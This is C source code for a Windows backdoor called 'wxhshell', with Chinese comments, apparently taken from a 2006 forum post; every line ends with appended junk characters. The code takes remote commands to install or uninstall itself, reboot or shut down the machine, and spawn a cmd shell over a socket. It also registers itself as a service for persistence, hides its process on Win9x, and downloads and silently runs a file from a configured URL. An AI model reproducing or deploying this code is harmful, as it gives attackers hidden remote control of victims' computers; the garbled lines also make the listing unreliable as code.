    switch(cmd[0]) { vA2@Db}  
  9uV/G7Geq  
  // 帮助 \(Dq=UzQI  
  case '?': { %Koc^ pb)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M lgE-Lm  
    break; >!s =f  
  } 8Y*SZTzV  
  // 安装 9!b,!#=  
  case 'i': { e4p:Zb:  
    if(Install()) fu?5gzT+b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /+l3 BeL  
    else z`qBs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L]hXAShmb  
    break; .F:qJ6E  
    }  *Dtwr  
  // 卸载 xT70Rp(2po  
  case 'r': { F]]np&UV.  
    if(Uninstall()) !`q*{Ojx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OSk:njyC[  
    else 3t22KY[`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'bGL@H  
    break; 0* < gGC  
    } [/hS5TG|7  
  // 显示 wxhshell 所在路径 (mz5vzyw  
  case 'p': { ^prseO?A  
    char svExeFile[MAX_PATH]; 6kuN)  
    strcpy(svExeFile,"\n\r"); &o{I9MD  
      strcat(svExeFile,ExeFile); La48M'u  
        send(wsh,svExeFile,strlen(svExeFile),0); J;h4)w~9H3  
    break; Z]DO  
    } CXks~b3SD  
  // 重启 Gc>bli<-  
  case 'b': { ez=$]cln  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [?x9NQ{  
    if(Boot(REBOOT)) WLW'.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s|Ls  
    else { @iK=1\-2  
    closesocket(wsh); 0h-holUf}~  
    ExitThread(0); a]'sby  
    } s|rlpd4y  
    break; z!;n\CV@  
    } 4)BZ%1+  
  // 关机 bhe~ekb  
  case 'd': { D.Rk{0se8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .NcoST9a  
    if(Boot(SHUTDOWN)) jIJVl \i]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4v9zFJ<Z  
    else { TU$PAwn=  
    closesocket(wsh);  G7 >  
    ExitThread(0); rs {e6  
    } A!Zjcp|  
    break; V#[I/D  
    } UMwB.*  
  // 获取shell "r @RDw   
  case 's': { r/1:!Vu(  
    CmdShell(wsh); gS4zX>rqe  
    closesocket(wsh); A`<#}~A  
    ExitThread(0); .o91^jt  
    break;  hLFf  
  } GHj1G,L@\  
  // 退出 *@o@>  
  case 'x': { 7Ipt~K}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E*ybf'  
    CloseIt(wsh); vpXC5|9U  
    break; B!GpD@U  
    } F{)YdqQ  
  // 离开 +qq,;npi  
  case 'q': { 9 tkj:8_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &?>h#H222  
    closesocket(wsh); Cnd70tbD )  
    WSACleanup(); $'e;ScH  
    exit(1); rB;` &)-  
    break; eO;i1>  
        } vF"<r,pg  
  } 'EU{%\qM  
  } j)ZvlRi,  
~E-YXl9  
  // 提示信息 :J]S+tQ)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UgDai?b1  
} -q' np0H  
  } jUtrFl  
16/+ O$#y  
  return; JbpKstc;  
} -/|O*oZ  
I7TdBe-  
// shell模块句柄 2Fi>nJ  
int CmdShell(SOCKET sock) 0/hX3h  
{ %y.9S=,v,  
STARTUPINFO si; pq_DYG]  
ZeroMemory(&si,sizeof(si)); ~K%]9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $l-|abLELz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f gI.q  
PROCESS_INFORMATION ProcessInfo; P`6 T;|VDk  
char cmdline[]="cmd"; 75i M_e\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {`QF(WL  
  return 0; ^Dhj<_  
} yveyAsN`B  
7iu?Q  
// 自身启动模式 W!q 'wrIx(  
int StartFromService(void) ;e;lPM{+  
{ *- $u\?$  
typedef struct hj64ES#x  
{ k| 0Fa}Z[  
  DWORD ExitStatus; ya5a7  
  DWORD PebBaseAddress; #3u3WTk+  
  DWORD AffinityMask; & tQHxiDX  
  DWORD BasePriority; y?O{J!U  
  ULONG UniqueProcessId; hu~02v5  
  ULONG InheritedFromUniqueProcessId; EquNg@25W  
}   PROCESS_BASIC_INFORMATION; {%D!~,4Ht  
`%AFKmc^;  
PROCNTQSIP NtQueryInformationProcess; |57KTiiNLI  
/{YUM~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UT[nzbG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @v_E' 9QG^  
w8:F^{  
  HANDLE             hProcess; 5~k-c Ua  
  PROCESS_BASIC_INFORMATION pbi; :}x\&]uC#k  
B[ae<V0 k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y<TlvB)w  
  if(NULL == hInst ) return 0; ONJW*!(  
X@Eq5s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }`6-^lj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^k&zX!W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I9*o[Jp5  
 z:9  
  if (!NtQueryInformationProcess) return 0; xou7j   
Dntcv|%u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]Vhhx`0  
  if(!hProcess) return 0; +JZ<9,4  
G?\o_)IJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;d G.oUk=  
5FqUFzVqsl  
  CloseHandle(hProcess); n>>hfxv(O!  
Hf+A52lrf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'j#oMA{0  
if(hProcess==NULL) return 0; g3n^ <[E  
q_HC68YF,  
HMODULE hMod; ;hF>iw  
char procName[255]; B) &BqZ&  
unsigned long cbNeeded; 0uzis09  
gJi11^PK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j{V xB  
Uo(\1&?  
  CloseHandle(hProcess); .  hHt+  
|[D~7|?  
if(strstr(procName,"services")) return 1; // 以服务启动  ;Fcdjy  
Dn$zwksSs  
  return 0; // 注册表启动 1pXAPTV  
} \sHM[n F0  
~] Mq'  
// 主模块 .Y'kDuUu  
int StartWxhshell(LPSTR lpCmdLine) .6!]RA5!=  
{ %#Wg>6  
  SOCKET wsl; lnbw-IE!  
BOOL val=TRUE; :d/Z&LXD  
  int port=0; qA9*t  
  struct sockaddr_in door; 8"wA8l.  
"A__z|sQ  
  if(wscfg.ws_autoins) Install(); SAs'u"EB  
+;#hED; 8  
port=atoi(lpCmdLine); . )Fn]x"<  
H:U1#bQQ:  
if(port<=0) port=wscfg.ws_port; ;G!X?(%+  
SynxMUlA  
  WSADATA data; l1jS2O(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X X{:$f+  
2t1WbP1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v0X5`VV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '\1%%F7  
  door.sin_family = AF_INET; Q9K Gf;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R.A}tV=j#  
  door.sin_port = htons(port); !f)'+_d  
rd]HoFE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r!Eo8C  
closesocket(wsl); ( NjX?^  
return 1; {ZbeF#*"  
} PNT.9 *d  
{0QD-b o  
  if(listen(wsl,2) == INVALID_SOCKET) { {eIE|   
closesocket(wsl); PZLWyp  
return 1; ] 5P{*  
} 'BAe>r_Pn  
  Wxhshell(wsl); po=*%Zs*T  
  WSACleanup(); )t&|oQ3sVG  
N$Gx$u3Cd  
return 0; a6WE,4T9  
QI=SR  
} rC_K L  
=eac,]31  
// 以NT服务方式启动 Uw61X>y=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sf\;|`}  
{ .%->   
DWORD   status = 0; +hjc~|RK  
  DWORD   specificError = 0xfffffff; V$q%=Sip  
U{>!`RN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m{%_5nW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2:p2u1Q O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UeHS4cW  
  serviceStatus.dwWin32ExitCode     = 0; lBQ|=  
  serviceStatus.dwServiceSpecificExitCode = 0; rUlpo|B  
  serviceStatus.dwCheckPoint       = 0; 'U1r}.+b>  
  serviceStatus.dwWaitHint       = 0; "j$}'uK<  
[FiXsYb.8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q6j]j~JxB  
  if (hServiceStatusHandle==0) return; /unOZVr(  
lS?f?n^  
status = GetLastError(); ip>dHj z  
  if (status!=NO_ERROR) IZAbW  
{ GmAE!+"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `R:<(:  
    serviceStatus.dwCheckPoint       = 0; u8o7J(aQsR  
    serviceStatus.dwWaitHint       = 0; y9s5{\H  
    serviceStatus.dwWin32ExitCode     = status; q<hN\kBs  
    serviceStatus.dwServiceSpecificExitCode = specificError; sE/9~L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pv1psKu  
    return; Y%=A>~s*c:  
  } {B\.8)&8  
&-cI|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MIR17%G  
  serviceStatus.dwCheckPoint       = 0; Q&QR{?PMD  
  serviceStatus.dwWaitHint       = 0; 7/*; rT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `=-}S+  
} Wc,8<Y'   
6_XX[.%  
// 处理NT服务事件,比如:启动、停止 U4N S.`V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `M7){  
{ Ce_Z &?  
switch(fdwControl) ~MhPzu&B  
{ ]KuK\(\  
case SERVICE_CONTROL_STOP: v(: VUo]H  
  serviceStatus.dwWin32ExitCode = 0; Zfb:>J@h6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (n`\b47  
  serviceStatus.dwCheckPoint   = 0; qtgK}*9ptv  
  serviceStatus.dwWaitHint     = 0; %mcuYR'D}  
  { G^2"\4R]p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xE6y9"}!h  
  } s?`)[K'-  
  return; /`s^.Xh  
case SERVICE_CONTROL_PAUSE: P@5^`b|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DV%tby  
  break; zkd#vAY(A  
case SERVICE_CONTROL_CONTINUE: 6]rrj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zP9 HYS  
  break; /(}V!0\?  
case SERVICE_CONTROL_INTERROGATE: D!Gm9Pa}  
  break; E'r* g{,  
}; W6_3f-4g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); omRd'\ RO  
} fptW#_V2  
iww h,(  
// 标准应用程序主函数 S [u <vHy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )>[(HxvfJU  
{ d>AVUf<o~  
8\a)}k~4  
// 获取操作系统版本 -8pHjry'q  
OsIsNt=GetOsVer(); v5 9>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =  Oq;  
L>L4%?  
  // 从命令行安装 b _u&%  
  if(strpbrk(lpCmdLine,"iI")) Install(); S3J6P2P  
,LMme}FFeb  
  // 下载执行文件 & 9?vQq|%  
if(wscfg.ws_downexe) { C8t+-p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \`XJz{Lm]  
  WinExec(wscfg.ws_filenam,SW_HIDE); qC 6Q5F  
} 't|F}@HP  
!tb RqW6v  
if(!OsIsNt) { lo(Ht=d  
// 如果时win9x,隐藏进程并且设置为注册表启动 O]PfQ  
HideProc(); tlcA\+%)  
StartWxhshell(lpCmdLine); }6S4yepl  
} L,D!T&B  
else C>03P.s4c  
  if(StartFromService()) n >eIQaV  
  // 以服务方式启动 +}Q4 g]M8  
  StartServiceCtrlDispatcher(DispatchTable); 8n73MF  
else #m M&CscE  
  // 普通方式启动 oVhw2pKpM  
  StartWxhshell(lpCmdLine); 4sJx_Qi  
Y^!40XjrD  
return 0; \hq8/6=4s  
}
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只看该作者 1 发表于: 2006-10-10
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